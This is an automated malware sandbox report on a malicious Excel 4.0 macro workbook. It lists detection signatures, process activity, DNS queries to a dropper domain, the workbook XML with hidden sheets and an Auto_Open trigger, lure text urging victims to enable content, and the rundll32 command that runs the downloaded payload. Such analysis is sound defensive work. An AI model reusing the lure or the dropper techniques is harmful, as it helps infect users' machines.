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Analysis Report Refusal-1605078281-01212021.xlsm

Overview

General Information

Sample Name:	Refusal-1605078281-01212021.xlsm
Analysis ID:	343115
MD5:	6b11147a8eb468cb247d32f4be0f7469
SHA1:	ff599ff7ed480bf2485e1b85aed7e8c6bbe7aeec
SHA256:	2fc494967112688b5cf699386bbab79f9d23cc03527769adc932739a0be93094
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for domain / URL

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Found Excel 4.0 Macro with suspicious formulas

Outdated Microsoft Office dropper detected

Sigma detected: Microsoft Office Product Spawning Windows Shell

Yara detected MalDoc_1

Checks for available system drives (often done to infect USB drives)

Excel documents contains an embedded macro which executes code when the document is opened

Potential document exploit detected (performs DNS queries)

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Classification

Startup

System is w10x64

EXCEL.EXE (PID: 6140 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)

rundll32.exe (PID: 4856 cmdline: rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
sheet2.xml	JoeSecurity_MalDoc_1	Yara detected MalDoc_1	Joe Security

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer, CommandLine: rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer, CommandLine|base64offset|contains: ], Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 6140, ProcessCommandLine: rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer, ProcessId: 4856

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for domain / URL

Show sources

Source: leafybuy.com

Virustotal: Detection: 6%

Perma Link

Compliance:

Uses new MSVCR Dlls

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Spreading:

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: z:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: x:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: v:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: t:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: r:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: p:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: n:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: l:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: j:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: h:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: f:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: b:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: y:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: w:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: u:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: s:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: q:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: o:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: m:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: k:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: i:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: g:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: e:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: c:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: a:	Jump to behavior

Software Vulnerabilities:

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Section loaded: unknown origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\rundll32.exe

Jump to behavior

Source: global traffic

DNS query: name: leafybuy.com

Networking:

Outdated Microsoft Office dropper detected

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	DNS query: leafybuy.com is down
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	DNS query: leafybuy.com is down

Yara detected MalDoc_1

Show sources

Source: Yara match

File source: sheet2.xml, type: SAMPLE

Source: unknown

DNS traffic detected: query: leafybuy.com replaycode: Server failure (2)

Source: unknown

DNS traffic detected: queries for: leafybuy.com

Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://api.cortana.ai
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://api.office.net
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://api.onedrive.com
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://augloop.office.com
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://augloop.office.com/v2
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://cdn.entity.
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://config.edge.skype.com
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://contentstorage.omex.office.net/addinclassifier/officeentities
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://contentstorage.omex.office.net/addinclassifier/officeentitiesupdated
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://cortana.ai
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://cortana.ai/api
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://cr.office.com
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://dev.cortana.ai
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://directory.services.
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://graph.windows.net
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://graph.windows.net/
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://login.windows.local
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://management.azure.com
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://management.azure.com/
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://messaging.office.com/
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://ncus-000.contentsync.
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://ncus-000.pagecontentsync.
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://officeapps.live.com
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://onedrive.live.com
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://outlook.office.com/
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://outlook.office365.com/
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://settings.outlook.com
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://staging.cortana.ai
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://store.office.com/?productgroup=Outlook
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://store.office.com/addinstemplate
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://store.officeppe.com/addinstemplate
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://tasks.office.com
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://templatelogging.office.com/client/log
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://webshell.suite.office.com
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://wus2-000.contentsync.
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://wus2-000.pagecontentsync.
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	String found in binary or memory: https://www.odwebp.svc.ms

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable Editing 11 i 12" from the yellow bar above , , , 13 14" @Once You have Enable Editing, pl
Source: Screenshot number: 4	Screenshot OCR: Enable Content 15 from the yellow bar above 16 17 "- WHY ICANNOT OPEN THIS DOCUMENT? 19 20 21
Source: Document image extraction number: 2	Screenshot OCR: Enable Editing from the yellow bar above Once You have Enable Editing, please click Enable Content
Source: Document image extraction number: 2	Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? You are using iOS or Andro
Source: Document image extraction number: 8	Screenshot OCR: Enable Editing from the yellow bar above @Once You have Enable Editing, please click Enable Conten
Source: Document image extraction number: 8	Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? wYou are using IDS or Andr
Source: Screenshot number: 8	Screenshot OCR: Enable Editing 11 12" from the yellow bar above 13 14" @Once You have Enable Editing, please cli
Source: Screenshot number: 8	Screenshot OCR: Enable Content 15 from the yellow bar above 16 O 0 17 " WHY I CANNOT OPEN THIS DOCUMENT? 19 20

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: Refusal-1605078281-01212021.xlsm

Initial sample: EXEC

Source: workbook.xml

Binary string: <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><fileVersion appName="xl" lastEdited="5" lowestEdited="4" rupBuild="9302"/><workbookPr filterPrivacy="1" defaultThemeVersion="124226"/><bookViews><workbookView xWindow="240" yWindow="105" windowWidth="14805" windowHeight="8010"/></bookViews><sheets><sheet name="DocuSign" sheetId="5" r:id="rId1"/><sheet name="Kotu" sheetId="4" state="hidden" r:id="rId2"/><sheet name="Mols" sheetId="1" state="hidden" r:id="rId3"/></sheets><definedNames><definedName name="_xlnm.Auto_Open">Kotu!$A$154</definedName></definedNames><calcPr calcId="144525"/></workbook>

Source: classification engine

Classification label: mal80.troj.expl.evad.winXLSM@3/10@2/0

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\{A2B54A76-FE4D-48DF-B493-75FF5A1D3D7D} - OProcSessId.dat

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer
